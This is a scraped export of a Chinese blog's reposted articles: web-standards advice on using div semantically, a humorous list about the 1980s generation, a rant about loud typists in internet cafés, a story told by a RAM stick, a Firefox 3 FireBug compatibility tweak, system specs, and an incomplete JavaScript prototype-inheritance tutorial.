琢磨着，xhtml1.x是W3清理表现，将人们往语义结构[Semantic]的方向牵引，而xhtml 2.0则是展示和突出代码结构[structure]。呵呵，您说我琢磨得对吗？瞎猜瞎猜。^_^\n回过头来，那么怎么组织？首先对于一个设计稿，一定要不被设计所迷惑和左右，只提取看得见和看不见的数据，然后就扔掉设计稿，先完成数据的语义结构，再添加代码结构（adding structure to documents.）， 完成xhtml后，最后一步才是重新拾起设计稿打开css，还原。当然实际做的时候不可能不看设计稿，但是怎么看？只提数据！再说一点，数据在文档中的先 后顺序由什么定？当然是由文档而定，不是由设计稿所定。举个例子，假如有两个栏目，新闻头条和普通新闻。谁在前谁在后，很显然在文档中应该是头条在前普通 在后，这是由UE（用户体验）和栏目轻重的综合考虑决定。但是按照div布局的话，是按照设计稿上前下后左前右后的顺序来决定的，那么如果设计稿中将普通 新闻栏目设计在左栏，头条设计在中栏，文档中普通新闻就跑到头条新闻上面去了。所以我打开一个Web标准站点文档浏览，如果文档的先后顺序是按照页面布局 上前下后，左前右后的顺序而定的，那么我……特例一点，如果一个单屏设计的网站，标题和导航设计在页面下方，那你的文档岂不是最下面才是标题和导航，这是 什么UE？这不是扯蛋嘛。div，div布局的恶果\u0026mdash;\u0026mdash;文档结构仍然在为表现所左右！貌合神离！！\n代码结构怎么做？大处按照上篇文章所写，用h系列划分大结构。那么小处呢？这里就要牵涉进div的另外一个概念：块级元素。什么块？模块！用div模块化小处。举例：\n\u0026lt;div\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;h3\u0026gt;\u0026lt;span\u0026gt;用户登陆\u0026lt;/span\u0026gt;\u0026lt;/h3\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;div\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;label for=\u0026quot;name\u0026quot;\u0026gt;用户名\u0026lt;/label\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;input id=\u0026quot;name\u0026quot; /\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/div\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;div\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;label for=\u0026quot;pw\u0026quot;\u0026gt;密码\u0026lt;/label\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;input id=\u0026quot;pw\u0026quot; /\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;/div\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;p\u0026gt;\u0026lt;button /\u0026gt;\u0026lt;/p\u0026gt;\n\u0026lt;/div\u0026gt; 这个在[复杂表单]中 提到过的例子，我们来详细分析div在小处如何模块化运用。其实很简单，h3/lable/p是语义结构，然后，对于用户名和相应的输入框显然是不可分割 的整体，那么好了，div将其标识为一个块，对应的密码部分同理。最后，两者一起与标题和按钮又构成一个不可分割的登陆整体，div之。这样拥有很好的语 义结构和代码结构。好的代码结构不仅仅可以便于固定xhtml，便于程序操作节点，还对css提供了很高的自由度。如上例结构，我只需要给最外div一个 class，比如\u0026quot;loginarea\u0026quot;。那么：\n我可以这么按节点/路径层层定义下去：.loginarea label{} .loginarea input{} .loginarea div label{} .loginarea div input。如果我需要横向登陆，只需要定义一个关键点：.loginarea div{float: left}，如果纵向则去掉这个关键点，模块化的登陆就这么简单。这样还可以省写不少class，尤其对于有些看似复杂的结构其实模块化设计好了，模块内 部是简单的，一个路径定义过去，根本无需class还不会引起样式冲突和干扰，css的可读性也很好。当然这里会涉及到css的技巧，我认为css的技巧 最重要的就是分析页面，页面分析的好，写出来的css简单明了充分利用tag还有多以备扩展，否则class一大堆复杂冗长还会觉得tag不够用又去添加 破坏结构。复杂表单那套系统的css我写了48k，还未做最后优化，全部图片总共只有5K，还全是无损PNG格式。整套系统几十个大模块，又有无限级菜 单、树、页签、弹出，复杂表单，合同，frame，iframe，报表，控件套控件等等乱七八糟什么都有，css加图片全部表现部分可以做到50K以内。 这个项目四个程序员一起开发我一个人顶所有前台，三个月时间，程序员不管任何有关表现部分，我都是玩玩做做就搞定了。中后期，临着交付客户时候我还觉得公 司提供的设计不好，又自己花1天重新设计，花不到2天另外写了一个css，整个系统全变了且以前的设计未丢失。功能不变的情况下界面大换，再大的系统也不 过一个人几天时间，且程序员不用管。这就是Web标准的威力之一！（因为是内网应用，所以我几乎没考虑和照顾浏览器兼容性，没必要，也是快的一个因素）\n所以我认为当前各大网站上以各种方式事先列出什么单行一列，两行一列诸如此类的几行几列的div＋css布局代码，不好说他们不对，你完全可以去理 解是如何使用css实现几行几列的布局，然后合理运用到自己的结构上。但是如果你按照他提供的代码去套、去添加内容，那么你就错了。不过话说回来，在被一 篇一篇标题着斗大的\u0026ldquo;布局\u0026rdquo;两个字的潜移默化下，您还有心思去关心结构吗？所以很多都去琢磨css了，所以这些善意的Web标准推广者还是有错的，包括我 在内，我2004年撰写的《重构之美》代码示例部分带有更大的误导性（好在当初我一再强调代码毫无借鉴的意义，也算在文字上有所弥补）。现在呢？我也不知 道，在路上，在路上……\n写很多了，span的合理运用留给Update吧。\n2006 3 24-25\n","permalink":"https://hessian.cn/p/316.html","summary":"src:http://yuntian.cnblogs.com/archive/2006/03/27/359542.html\n特意上网搜索了一下，关于div，说法很多。\n把div看成是布局元素这种观点我想是最多的，类似有\u0026ldquo;用div代替table进行布局\u0026rdquo;、\u0026ldquo;实战CSS+DIV布局\u0026rdquo;等等等等，太多了，还有不少 人延用Dreamweaver的定义，称div为层，按Photoshop的层的概念来使用……有朋友干脆就直接称div和span为辅助布局元素。\n","title":"[转]重构之美－走在Web标准化设计的路上[深入结构：合理运用div和span。]"},{"content":"src:http://hi.baidu.com/liuquan210204/blog/item/338543c24cd4c631e4dd3bf4.html\n1.成天泡在网上，又不知道做什么好\n80后最常说的一句话是\u0026ldquo;无聊\u0026rdquo;，尽管他们在网络上聊天花去了大把的时间。\n建议：聊天作为一种基本交流方式，所要达到的目的是获得认同。网上聊天很难达到这种认同，所以越聊越无聊。学习和工作累了，玩一玩游戏没错，但是打怪练级那些游戏基本上是得不偿失的，费时间，伤身体，还花钱。可以玩一玩趣味性强的休闲游戏，比如《纸客帝国》之类，轻松幽默，带点无厘头的风格，很能消除疲劳。靠玩游戏来交流感情是不现实的，要交流感情最好还是找个人去咖啡吧，或者堡个电话粥吧。\n2.浮躁，好预测未知妄下定论。对看过的电影和电视剧，会按耐不住向别人透露下一个情节或者结局。对不了解的事物，根据一丁点信息发表长篇大论的见解，并且多半是批判的。对权威毫无理由的不耐烦，但绝不公开挑战，只热衷于影响身边的几个人，并有得到认同的强烈欲望。一旦不能如愿，就不再发言，部分人会暴跳如雷，令旁人费解。\n建议：多出去旅行，多读书，多参加团体活动，多接触社会。世界的绝大部分真相在我们的视野之外，浮躁是个人修养浅薄的表现，人既是社会成员也是自然的组成部分，需要积淀对世界尽可能的多认识，才能达到意识的足够高度，才能让人看起来不那么浮躁。\n3.瘦弱，不爱运动。 对健壮的人心存嘲讽，对肌肉和力量心存恐惧。在审美上受日式漫画的影响，崇尚中性美和病态美。与第一点有一定关系，在身体的耐力、韧性和爆发力上，更热衷 于后者。但是在受到刺激之后，又会表现出病态的固执。这样就表现为两个极端，一方面弱不禁风，另一方面又偶尔会有惊人之举。\n建议：健身，多进行户外运动。身体是人最接近自然的组成部分，一个健康强壮不容易被击倒的身体可以让我们终生收益。\n4.性格软弱，喜欢为自己的意志不坚定找理由。不喜欢通 过沟通达到与外界的意见统一，而是表面妥协，内心强烈反感，表现为通常所说的叛逆。性格软弱表现在与异性相处方面就是易犯花痴，对异性的正常关怀想入非 非。在弄清楚是怎么回事之后，即使真的喜欢对方，也不敢大胆追求，而是找个理由退缩。通常的理由是说自己不了解爱情，也不想了解。\n建议：堂而皇之的与人打一架，正儿八经的谈一次恋爱。从自然法则的角度考虑的，作为雄性动物，与同性生物打架和向异性求爱都是走向成熟的标志。\n5.消极，拒绝长大。不喜欢被人说成熟，尤其不能容忍被人说是老男人。不耐烦与长辈讨论一些实际的问题，反感政治，厌恶参加长辈在场的应酬。要负责任的事情，会让他们觉得焦虑不安和无奈。\n建议：尝试了解父母的不易。也可以从哲学层面去了解索取和付出之间的辩证关系，就象课本里所说的权利和义务的关系。\n6.选择性自闭，对熟人唠叨不休，对陌生人一言不发。偏爱使用方言或者网络语言等非大众语言。吸烟，但是不敬烟。喝酒，但是不敬酒。不是他们感兴趣的话题，基本上很难交谈下去。多人参与讨论时，如果没有人邀请他发言，即使他已酝酿好发言稿，还是会选择沉默。\n建议：这些其实都是在沟通上遇到的困难。建议扩大知识面，扩大社交圈，改变与人交谈的方式，勇敢表达自己的见解，努力将自己的观点传达并影响其他人。获得认同后就会产生激励，反复几次，就可以走出自闭。\n7.习惯熬夜，25岁之前通宵次数明显较多。有时候为了\u0026ldquo;合理安排时间\u0026rdquo;，干脆用通宵来减少熬夜次数。实际上下半夜都在打瞌睡。\n建议：与第5点相同，熬夜其实就是自闭在作怪。有熬夜习惯的人，白天就找到了关门睡觉的理由，避免了外界的骚扰。或者白天虽然没有在家睡觉，因为精神上萎靡不振，能造成\u0026ldquo;外界不关我事\u0026rdquo;的错觉，也能达到抵制外界骚扰的目的。建议立刻改变作息时间，打开心扉。\n8.毫无理由的高傲。觉得别人不可能了解自己，并以此作为对别人不屑的理由。不愿意听别人的建议，也听不进。这种高傲连他们自己都不知道为什么。\n建议：由于时代因素，80后的自尊更为脆弱，从心理上就更趋向于自我保护，表现为对外界不信任。建议多了解一些社会规则，不管在什么场合，只要你在规则之内，你就是安全的，可以自由表达自己的存在价值。\n9.做事不按计划，讨厌按部就班，永远不知道钱花到哪里去了。以同时看多部小说，守多部漫画为荣。喜欢同时着手几件事，忙得焦头烂额是他们喜欢的状态，尽管这些事情只要合理安排是完全可以按部就班轻松完成的。\n建议：欲速则不达这个道理就不用说了吧。学会制定计划，可以避免紧急情况下全面崩盘的风险。\n10.不问问题，相信百度和谷歌的权威，多数人喜欢用搜索引擎思考，将搜索引擎作为自己的智囊。\n建议：互联网确实给了我们许多方便，但是互联网上的东西很多都是未经考证，经不起推敲的。所以要避免犯错，这个地方正需要80后拿出怀疑精神来，不能依赖互联网而使自身的学习功能退化了\n","permalink":"https://hessian.cn/p/402.html","summary":"src:http://hi.baidu.com/liuquan210204/blog/item/338543c24cd4c631e4dd3bf4.html\n1.成天泡在网上，又不知道做什么好\n80后最常说的一句话是\u0026ldquo;无聊\u0026rdquo;，尽管他们在网络上聊天花去了大把的时间。\n","title":"[转]———80年代以后的人，问题多多啊——-"},{"content":"src: http://bbs.17173.com/topics/1387/200801/15/2475137,1.html\nG.K语： 在网吧老被折磨，这哥们可算说到点子上了\n相信大家在网把玩的时候常常能看到一种现象.\n就是总有一小部分人玩AU的时候\u0026quot;把键盘敲打的啪啪做响\u0026quot;.\n更有此道高手其敲打键盘的声音可谓是\u0026quot;惊天地,泣鬼神\u0026quot;.\n如果你是一位喜欢安静环境的玩家的话,坐在这种人的旁边,往往会暗暗叫苦.有些玩家试图与乐于此道者沟通协调其问题,但往往得到的答案却是:\u0026quot;爷玩游戏管你毛事.\n\u0026quot;最后大家往往对乐于此道者加上了\u0026quot;没素质,没修养\u0026quot;这顶大黑锅\u0026#8230;而我深信\u0026quot;理解万岁!\u0026quot;这句话,因此在近段时间内对乐于此道者进行了全方位立体的观察与扫描..发现!这个问题远远不是大家想的\u0026quot;没修养,没素质\u0026quot;那么肤浅,那么简单!!!\n走近科学,走近\u0026quot;大力敲键\u0026quot;下面就由我来给大家揭秘:\u0026quot;大力敲键族敲打键盘的主流原因.有些人可能占有多条..\n1. 天生脑残型:说来也是冤,此类人中实际上很多人并不是大家想的那样.他们玩AU时大力敲打键盘的举动往往并非出于本意.实际上根据我的调查,这类人的脑干 全部发育不完整.因此导致大脑与小脑间的神经信息传导不协调.这里普及以下简单的医学知识,人的大脑主管的是思维神经,而小脑主管的是运动神经.而脑干部 分则是大脑与小脑间的纽带.一般人在玩AU的时候首先游戏中的各种信息通过视神经传达到大脑中,大脑对信息做出反应之后把需要执行的手指操作通过脑干发送 给小脑,然后由小脑指挥手指做出相应的动作.而在游戏比较激烈的时候在游戏.大脑由于接受到的信息也比较强烈,所以往往会发出一些比较激烈行为的指令例 如\u0026quot;大力敲打键盘\u0026quot;,但是如果自己本人并不想大力敲打键盘,则大脑还会在这种比较激烈但是自己又不想做的行为上追加一条高级指令来抑制此行为的发生,大家 可以理解为\u0026quot;自制力\u0026quot;.而\u0026quot;天生脑残型\u0026quot;在玩AU时其脑干部分无法良好的传导\u0026quot;自制力\u0026quot;这种高级大脑指令,因此其在玩AU的时候会发生的将是\u0026quot;越不想大力 敲打键盘,越敲的响.\u0026quot; 2.压力发泄型:此类人往往在现实生活中处处受气,但是有无从发泄自己的愤恨.所以在玩AU的时会在\u0026quot;潜意识\u0026quot;下大力敲打键盘.用他们的话来说:\u0026quot;玩AU 很爽\u0026quot;.事实上来说,AU对此类人就是一个发泄愤怒,怨恨以及压力的一个平台,而可怜的电脑键盘则是其用来发泄的工具.因此这种人在生活中往往也可能做出 虐杀小动物等令人不解的变态行为.更有投入者,大力敲打键盘时还会对着屏幕中的虚拟形象谩骂不止.但是一般此类人在玩AU的时候绝对心里是一直在骂大街 的..传闻前段时间MOP论坛上的\u0026quot;强奸幼猫致其惨死\u0026quot;案件罪犯就是此种类型. 3. 绝对不吃亏型:此类人的思想中往往都深深的烙印了\u0026quot;小农意识\u0026quot;这四个金光闪闪的大字.以前我看的一个电影讲的是60年代一位市领导在视察火车站的时候看到 在候车室内躺着一个重感冒的农民,领导当即吩咐下属把农民同志送到市内最好的旅店,并给农民同志开了药.第二天,这个农民醒来时发现自己在这么一个豪华的 地方都吓呆了,赶忙下床在地上站的,生怕搞脏了床等物件.后来回想起是有人把自己送到这的.然后就问送开水的服务员:\u0026quot;这一晚上的多少钱?\u0026quot;服务员:\u0026quot;5 块\u0026quot;当时这个农民就晕了,因为他身上还就5块钱,而且当时来说这不是笔小钱.后来他在原地发了半天呆之后就开始在旅馆房间里面搞破坏,认为自己掏了钱就不 能吃亏\u0026#8230;\u0026#8230;\u0026#8230;最后去结帐的时候才发现市领导早就为他付过帐了.这个故事里的农民同志,就是此类人的典型代表,在这样的\u0026quot;小农意识\u0026quot;思想的控制 之下,自然而然的就运用起\u0026quot;大力金刚指\u0026quot;来保证自己一定不能吃亏了\u0026#8230;. 4 .人云亦云的非主流:首先说明这里的非主流指的是喜欢搞个性,叛逆,与众不同的人.而\u0026quot;人云亦云的非主流\u0026quot;和与一般的非主流最大的不一样的地方就是喜欢追 求个性,叛逆,与众不同等.可是无奈自己又是一个没有什么主见,也没有什么能力的人.而且往往此类人也更喜好依靠他人,服从他人的控制\u0026#8230;\u0026#8230;.当其 自身的能力与自身的想法发生了严重的矛盾之后,就衍生了这种\u0026quot;人云亦云的非主流\u0026quot;而他们在玩AU的时候追求到的却是:人人都知道的变态与弱智以及小农意识 的具体展现的怪异行为\u0026quot;大力敲键\u0026quot;.而且还认为自己这样是\u0026quot;酷\u0026quot;\u0026quot;帅\u0026quot;\u0026quot;非主流\u0026quot;的完美姿态\u0026#8230;\u0026#8230;其实此类人的前辈就是那些修炼\u0026quot;法车仑工力\u0026quot;而导 致家破人亡的牛X人士\u0026#8230;\u0026#8230; 炮轰帖我既然写了就不怕被人喷\u0026#8230;\u0026#8230;支持我的给我顶起来!\n","permalink":"https://hessian.cn/p/616.html","summary":"src: http://bbs.17173.com/topics/1387/200801/15/2475137,1.html\nG.K语： 在网吧老被折磨，这哥们可算说到点子上了\n相信大家在网把玩的时候常常能看到一种现象.\n就是总有一小部分人玩AU的时候\u0026quot;把键盘敲打的啪啪做响\u0026quot;.\n更有此道高手其敲打键盘的声音可谓是\u0026quot;惊天地,泣鬼神\u0026quot;.\n如果你是一位喜欢安静环境的玩家的话,坐在这种人的旁边,往往会暗暗叫苦.有些玩家试图与乐于此道者沟通协调其问题,但往往得到的答案却是:\u0026quot;爷玩游戏管你毛事.\n\u0026quot;最后大家往往对乐于此道者加上了\u0026quot;没素质,没修养\u0026quot;这顶大黑锅\u0026#8230;而我深信\u0026quot;理解万岁!\u0026quot;这句话,因此在近段时间内对乐于此道者进行了全方位立体的观察与扫描..发现!这个问题远远不是大家想的\u0026quot;没修养,没素质\u0026quot;那么肤浅,那么简单!!!\n走近科学,走近\u0026quot;大力敲键\u0026quot;下面就由我来给大家揭秘:\u0026quot;大力敲键族敲打键盘的主流原因.有些人可能占有多条..\n","title":"[转]走进科学!走进网吧玩AU的\"大力敲键族\""},{"content":"src: http://jsbbs.w101.loginidc.com/viewthread.php?tid=19\u0026amp;extra=page%3D1\n我是一条内存，我在一台台式电脑里工作，但是我记不得我是从哪里来的，是什么牌子，因为我健忘。我的上司是CPU大哥，他是我们的老大。都说他是电脑的 脑子，可是我看他的脑子实在是太小了，比我还要健忘。每天他总是不停的问我，某某页某某地址存的是什么？我总是不厌其烦的告诉他，可是不出一秒钟他又忘记 了，又要问一遍，一次我说大哥你烦不烦，你就不能记住点有用的东西？他说\u0026ldquo;内存兄弟，我有苦衷啊，每天都在不停地做题，头晕眼花的，我也难啊。\u0026rdquo; 其实我不愿意跟他计较，因为他脑子小，思维也很简单。虽然说他是我的上司，可是每次睡觉醒来，他连要干什么都不记得了，总是急急忙忙地找BIOS兄 弟，\u0026ldquo;嘿，哥们，今天干什么来着\u0026rdquo;。BIOS总是很不耐烦地把每天必做的工作说一遍，然后就去睡觉了。接下来就轮到我和C哥瞎忙了。 在机箱里的兄弟中，我最喜欢硬盘。他脑子大，记得东西多，而且记得牢。他说话的速度很慢，而且很少说错，这说明他很有深度，我这么感觉。CPU也这么想，不过他很笨，每次都忘了硬盘是谁。开机自检的时候总要问：嘿，那家伙是谁？ \u0026quot;st380021a！\u0026quot;我总要重复一遍。 硬盘很喜欢忧郁，我觉得像他这样忧郁的人不适合做技术活，迟早会精神分裂的，但是他不信。 其实睡着的时候我总是把几乎所有的东西都忘记掉，但是我从来都不会忘记朋友。 有一块地方叫做CMOS，那是我记忆的最深处，保存着硬盘、光驱的名字。有些东西应该很快忘掉，而有些东西应该永远记得。我再梦中总是这么想着。 BIOS是一个很奇怪的家伙，他老是睡觉，但是却总是第一个醒过来。让我们自检，启动，然后接着睡觉。我知道如果我在CMOS里头把BIOS Shadow选项去掉，他就睡不成了，但是看着他晕晕乎乎的样子，也就不忍心这么做了。他对人总是爱搭不理，没有什么人了解他。但是这次硬盘恋爱的事，却 使我重新认识了他。 那是很久以前的事了，机箱里似乎来过一块笔记本硬盘，很可爱，说实话我也喜欢她。不过现在除了记得他可爱，别的都忘记了。这就是我比硬盘幸运的地方，我把所有应该忘记的都忘记了，但是他却什么都记得。 自从笔记本硬盘走了之后，硬盘就变得很不正常。每次他的磁头经过一些地方的时候，我们都能感觉到电流很不正常。 \u0026ldquo;硬盘这是怎么了？\u0026rdquo;我问CPU. \u0026ldquo;谁是硬盘？\u0026rdquo; 我就知道和CPU没有办法交流，倒是BIOS没好气地说：\u0026ldquo;那个傻瓜恋爱了\u0026rdquo;。我不知道什么是恋爱，因为我记不住东西，似乎有一些人或者事在我生命中留下过痕迹，但是我都轻率地把他们忘记了。 BIOS对我说：\u0026ldquo;对你来说记忆太容易了，所以你遗忘得更快，生命中能够永刻的记忆都带着痛楚。\u0026rdquo;我不懂，但是我知道BIOS曾经被刷写过，那时他很 痛，像要死了一样。我的记忆是轻浮的，不像他们……我很羡慕他们，因为他们拥有回忆，而我没有，从此我也学会了忧郁，因为我在CMOS里面写下了\u0026ldquo;忧郁\u0026rdquo; 两个字。 硬盘一天比一天不对劲，终于有一天，CPU对我说：下条指令是什么来着？ 我一看，吓了一跳：\u0026ldquo;FORMAT\u0026rdquo; \u0026ldquo;是什么？\u0026rdquo;CPU很兴奋，这个没脑子的家伙。 我还是告诉了他。我不知为什么这么做。 硬盘犹豫了很久，终于说了一句 track 0 bad， disk unusable. 电停了，很久很久，我在黑暗中数着时钟。 一个月后硬盘回来了，也许最后的挣扎也没有使他摆脱残酷的命运，他被低格了。 他什么也不记得了，如同一个婴儿，我们很难过，但是这未必不是一件好事，他以后不用痛苦了。 为了恢复数据，笔记本硬盘回来了。\u0026quot;Hi，st\u0026quot;，她说，\u0026quot;你不认识我了？\u0026ldquo; 硬盘没有说话，似乎低格对他的伤害很大。 过了一会，他说：\u0026ldquo;对不起，好像我们没有见过吧……\u0026rdquo;。 笔记本硬盘显得很伤心，我能感觉到她带泪的电流。\u0026ldquo;想不到连你也这么健忘\u0026rdquo;。 \u0026ldquo;哦……\u0026rdquo;。硬盘没有回答。 我很难过，笔记本硬盘的心里依然记着他，而他把一切都忘了，而那正是他最不希望忘却的。究竟是幸运，还是痛苦，我说不上来，只是觉得造化弄人，有一种淡淡的悲凉。 这时从BIOS传来一阵奇怪的电流，我感觉到硬盘的表情在变化，由漠然到兴奋，由兴奋到哀伤，由哀伤到狂喜…… \u0026ldquo;IBM，你回来了……\u0026rdquo;。 ……………… ……………… ……………… ……………… ……………… 后来BIOS对我说，其实他并没有睡觉，自从硬盘把那些文件藏起来以后，他就料到会有这样的结局，于是偷偷地把其中一些文件放到了备份里。 \u0026ldquo;幸好我是DUAL BIOS，虽然藏得不多，还足够让他想起来……\u0026rdquo;。 我想BIOS保存这些东西的时候一定很疼，\u0026ldquo;为什么这么做呢？\u0026rdquo; \u0026ldquo;呵呵，我们是朋友嘛\u0026rdquo;。 ","permalink":"https://hessian.cn/p/340.html","summary":"src: http://jsbbs.w101.loginidc.com/viewthread.php?tid=19\u0026amp;extra=page%3D1\n我是一条内存，我在一台台式电脑里工作，但是我记不得我是从哪里来的，是什么牌子，因为我健忘。我的上司是CPU大哥，他是我们的老大。都说他是电脑的 脑子，可是我看他的脑子实在是太小了，比我还要健忘。每天他总是不停的问我，某某页某某地址存的是什么？我总是不厌其烦的告诉他，可是不出一秒钟他又忘记 了，又要问一遍，一次我说大哥你烦不烦，你就不能记住点有用的东西？他说\u0026ldquo;内存兄弟，我有苦衷啊，每天都在不停地做题，头晕眼花的，我也难啊。\u0026rdquo; ","title":"[转]我是一条内存"},{"content":"src:http://devlicio.us/blogs/brendantompkins/archive/2007/11/20/getting-firebug-to-work-with-firefox-3-beta-1.aspx Getting FireBug to work with FireFox 3 Beta 1 Just grabbed my copy of FireFox 3 Beta 1 today.. After installation, most of the extensions that I\u0026#8217;ve come to rely on aren\u0026#8217;t working, which is understandable. One extension, FireBug, is a tool that I simply cannot work without. It\u0026#8217;s the best tool I\u0026#8217;ve ever found for debugging HTML, CSS, HTTP and JavaScript, bar none. If you\u0026#8217;re a web developer working without it, you may find that you\u0026#8217;re spending way more time than you have to debugging browser issues.\nThe problem is, when I tried to install it under FF3, I got the message that it would not run\u0026#8230; Here are the steps I took to fix this.\nSaved the firebug-1.05-fx+fl.xpi file to disk Re-named it to firebug-1.05-fx+fl.zip Opened the zip file, and extracted the file \u0026#8220;install.rdf\u0026#8221; Opened \u0026#8220;install.rdf\u0026#8221; with Notepad Changed \u0026lt;em:maxVersion\u0026gt;2.0.0.*\u0026lt;/em:maxVersion\u0026gt; to \u0026lt;em:maxVersion\u0026gt;3.0.0.*\u0026lt;/em:maxVersion\u0026gt; Saved the file, and replaced the version in the zip file with the new version Renamed the .zip file back to firebug-1.05-fx+fl.xpi Drag-drop firebug-1.05-fx+fl.xpi into an instance of FF3. Voila! I have FireBug with FF3! You can also try this with other extensions, but your mileage may vary.\n-Brendan\n","permalink":"https://hessian.cn/p/308.html","summary":"src:http://devlicio.us/blogs/brendantompkins/archive/2007/11/20/getting-firebug-to-work-with-firefox-3-beta-1.aspx Getting FireBug to work with FireFox 3 Beta 1 Just grabbed my copy of FireFox 3 Beta 1 today.. After installation, most of the extensions that I\u0026#8217;ve come to rely on aren\u0026#8217;t working, which is understandable. One extension, FireBug, is a tool that I simply cannot work without. It\u0026#8217;s the best tool I\u0026#8217;ve ever found for debugging HTML, CSS, HTTP and JavaScript, bar none. If you\u0026#8217;re a web developer working without it, you may find that you\u0026#8217;re spending way more time than you have to debugging browser issues.\n","title":"[转] 让FireBug 工作于 Firefox 3"},{"content":"操作系统: Linux\n核心版本: 2.6.23.9-85.fc8 ( #1 SMP Fri Dec 7 15:49:59 EST 2007 )\n发行版: Fedora 8 ( Werewolf )\n窗口管理系统: GNOME 2.20.2\n浏览器: swiftfox 3.0b3pre\n机器信息(公司的..哈哈 ):\nCPU: Pentium D 925 Dual\n内存: Kingston 1G x 2\n主板: ASUS P5VD2-VM SE\n芯片组: VIA P4M900\n显卡: Chrome9 igp\n声卡: \u0026#8230;\u0026#8230;..待查\u0026#8230;. 貌似 Realtek HD 不记得了\n显示器: AOC C776+\n鼠标: 双飞燕 FS705\n键盘: LG(\u0026#8230;.很老 很好用)\n用起来真TNND的舒服 娃哈哈\n","permalink":"https://hessian.cn/p/444.html","summary":"操作系统: Linux\n核心版本: 2.6.23.9-85.fc8 ( #1 SMP Fri Dec 7 15:49:59 EST 2007 )\n发行版: Fedora 8 ( Werewolf )\n窗口管理系统: GNOME 2.20.2\n浏览器: swiftfox 3.0b3pre\n机器信息(公司的..哈哈 ):\nCPU: Pentium D 925 Dual\n内存: Kingston 1G x 2\n主板: ASUS P5VD2-VM SE\n芯片组: VIA P4M900\n显卡: Chrome9 igp\n声卡: \u0026#8230;\u0026#8230;..待查\u0026#8230;. 貌似 Realtek HD 不记得了\n显示器: AOC C776+\n鼠标: 双飞燕 FS705\n键盘: LG(\u0026#8230;.很老 很好用)\n","title":"飞一般的感觉～～～"},{"content":"利用共享prototype实现继承\n继承是面向对象开发的又一个重要概念，它可以将现实生活的概念对应到程序逻辑中。例如水果是一个类，具有一些公共的性质；而苹果也是一类，但它们属于水果，所以苹果应该继承于水果。\n在JavaScript中没有专门的机制来实现类的继承，但可以通过拷贝一个类的prototype到另外一个类来实现继承。一种简单的实现如下：\nfucntion class1(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\nfunction class2(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\nclass2.prototype=class1.prototype;\nclass2.prototype.moreProperty1=\u0026quot;xxx\u0026quot;;\nclass2.prototype.moreMethod1=function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //方法实现代码\n}\nvar obj=new class2();\n这样，首先是class2具有了和class1一样的prototype，不考虑构造函数，两个类是等价的。随后，又通过prototype给class2赋予了两个额外的方法。所以class2是在class1的基础上增加了属性和方法，这就实现了类的继承。\nJavaScript提供了instanceof操作符来判断一个对象是否是某个类的实例，对于上面创建的obj对象，下面两条语句都是成立的：\nobj instanceof class1\nobj instanceof class2\n表面上看，上面的实现完全可行，JavaScript也能够正确的理解这种继承关系，obj同时是class1和class2的实例。事是上不对， JavaScript的这种理解实际上是基于一种很简单的策略。看下面的代码，先使用prototype让class2继承于class1，再在 class2中重复定义method方法：\n\u0026lt;script language=\u0026quot;JavaScript\u0026quot; type=\u0026quot;text/javascript\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211;\n//定义class1\nfunction class1(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n//定义class1的成员\nclass1.prototype={\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m1:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n//定义class2\nfunction class2(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n//让class2继承于class1\nclass2.prototype=class1.prototype;\n//给class2重复定义方法method\nclass2.prototype.method=function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(2);\n}\n//创建两个类的实例\nvar obj1=new class1();\nvar obj2=new class2();\n//分别调用两个对象的method方法\nobj1.method();\nobj2.method();\n//\u0026#8211;\u0026gt;\n\u0026lt;/script\u0026gt;\n从代码执行结果看，弹出了两次对话框\u0026ldquo;2\u0026rdquo;。由此可见，当对class2进行prototype的改变时，class1的prototype也随之改变， 即使对class2的prototype增减一些成员，class1的成员也随之改变。所以class1和class2仅仅是构造函数不同的两个类，它们 保持着相同的成员定义。从这里，相信读者已经发现了其中的奥妙：class1和class2的prototype是完全相同的，是对同一个对象的引用。其 实从这条赋值语句就可以看出来：\n//让class2继承于class1\nclass2.prototype=class1.prototype;\n在JavaScript中，除了基本的数据类型（数字、字符串、布尔等），所有的赋值以及函数参数都是引用传递，而不是值传递。所以上面的语句仅仅是让 class2的prototype对象引用class1的prototype，造成了类成员定义始终保持一致的效果。从这里也看到了instanceof 操作符的执行机制，它就是判断一个对象是否是一个prototype的实例，因为这里的obj1和obj2都是对应于同一个prototype，所以它们 